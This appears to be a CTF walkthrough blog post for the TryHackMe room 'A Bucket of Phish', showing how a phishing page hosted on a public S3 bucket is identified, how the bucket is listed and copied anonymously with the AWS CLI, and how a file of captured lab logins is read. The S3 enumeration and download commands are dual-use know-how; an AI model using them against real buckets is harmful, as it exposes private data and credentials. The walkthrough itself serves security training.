boot767 notes · 24 posts

Every Shell Leaves a Trace

These are the notes I take while working through CTFs, cert courses and school, plus the walkthroughs I've written along the way. I laid them out in the order I'd actually use them, from the first Nmap scan to root.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

These are the notes I take while working through CTFs, cert courses and school, plus the walkthroughs I've written along the way. I laid them out in the order I'd actually use them, from the first Nmap scan to root.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
scroll · ← → · 1–7 · / to search

A Bucket of Phish CTF TryHackMe Walkthrough

In this TryHackMe CTF challenge, A Bucket of Phish, we’ll go step-by-step through finding and exploiting a misconfigured AWS S3 bucket. The bucket hosts a static version of a CMail login page, and with a bit of investigation, we’re able to dig deeper and ultimately pull a list of compromised users.

Step 1: Initial Recon

The target is a website at http://darkinjector-phish.s3-website-us-west-2.amazonaws.com. The hostname alone is a big hint: s3-website means it is served straight out of an Amazon S3 bucket.

Fetching the page with curl shows what is being hosted:

curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cmail Webmail Login</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f9;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
        }
        .login-container {
            background-color: white;
            padding: 40px;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 400px;
        }
        .login-container h1 {
            text-align: center;
            color: #333;
            margin-bottom: 20px;
        }
        .login-container input[type="text"],
        .login-container input[type="password"] {
            width: 100%;
            padding: 12px;
            margin: 10px 0;
            border: 1px solid #ddd;
            border-radius: 4px;
            box-sizing: border-box;
            font-size: 14px;
        }
        .login-container button {
            width: 100%;
            padding: 12px;
            background-color: #4CAF50;
            color: white;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            cursor: pointer;
        }
        .login-container button:hover {
            background-color: #45a049;
        }
        .login-container .footer {
            text-align: center;
            margin-top: 20px;
            font-size: 14px;
            color: #666;
        }
    </style>
</head>
<body>

<div class="login-container">
    <h1>Cmail Login</h1>
    <form action="/login" method="POST">
        <label for="email">Email Address</label>
        <input type="text" id="email" name="email" placeholder="Enter your email" required>

        <label for="password">Password</label>
        <input type="password" id="password" name="password" placeholder="Enter your password" required>

        <button type="submit">Login</button>
    </form>

    <div class="footer">
        <p>Forgot your password? <a href="/reset-password">Reset it here</a></p>
    </div>
</div>

</body>
</html>

Observations

Requesting the reset page confirms it. S3 looks for a file called reset-password, can't find one, and returns its own 404:

curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com/reset-password
<html>
<head><title>404 Not Found</title></head>
<body>
<h1>404 Not Found</h1>
<ul>
<li>Code: NoSuchKey</li>
<li>Message: The specified key does not exist.</li>
<li>Key: reset-password</li>
<li>RequestId: EN4SKKZ1VKK91P9T</li>
<li>HostId: eGjEBRKU/BUWSzBefb8eYERlkKeG4qeKb0TT3IFWzraJibJsV6oqqt/j5nuCdojgAcTw1TqwGHY=</li>
</ul>
<h3>An Error Occurred While Attempting to Retrieve a Custom Error Document</h3>
<ul>
<li>Code: NoSuchKey</li>
<li>Message: The specified key does not exist.</li>
<li>Key: error.html</li>
</ul>
<hr/>
</body>
</html>

Step 2: Validate Hosting Type

To be sure about the hosting, check the response headers with curl -I:

curl -I http://darkinjector-phish.s3-website-us-west-2.amazonaws.com
HTTP/1.1 200 OK
x-amz-id-2: y6mmGEQad0NaD02ile8U97LzaR89gBpdoWeLojjLKGEKKauo2+qSGRSewEWQX5JO4c0BZBeZ3/c=
x-amz-request-id: HGSZRZX8MAQCVP1N
Date: Fri, 23 May 2025 20:53:58 GMT
Last-Modified: Mon, 17 Mar 2025 06:25:33 GMT
ETag: "3b392b5fc343b899cc3d67b6ecb2d025"
Content-Type: text/html
Content-Length: 2300
Server: AmazonS3

The Server: AmazonS3 header confirms the site is served directly from an S3 bucket.

Step 3: Enumerate the S3 Bucket

S3 website endpoints follow the format http://<bucket-name>.s3-website-<region>.amazonaws.com, so the bucket name is the first part of the hostname: darkinjector-phish.

Next, try listing the bucket without any credentials. --no-sign-request tells the AWS CLI to send the request anonymously, which only works if the bucket allows public listing:

aws s3 ls s3://darkinjector-phish --recursive --no-sign-request

It does:

2025-05-23 19:58:04     4912 index.html
2025-05-23 20:01:17     1456 captured-logins-093582390

Step 4: Retrieve the Flag

The second object, captured-logins-093582390, looks like where the phishing page stores what victims typed in. Download it, again anonymously:

aws s3 cp s3://darkinjector-phish/captured-logins-093582390 ./ --no-sign-request

Then read it:

cat captured-logins-093582390
user,pass
munra@thm.thm,Password123
test@thm.thm,123456
mario@thm.thm,Mario123
flag@thm.thm,THM{REDACTED}

Lessons Learned

Installing awscli

macOS (Homebrew):

brew install awscli

Kali Linux / Debian-based:

sudo apt update && sudo apt install awscli

Windows PowerShell:

msiexec.exe /i https://awscli.amazonaws.com/AWSCLIV2.msi

Responsible Disclosure

If you encounter this in the real world outside of a CTF or test environment, always disclose responsibly through a coordinated vulnerability disclosure program or the organization’s security contact.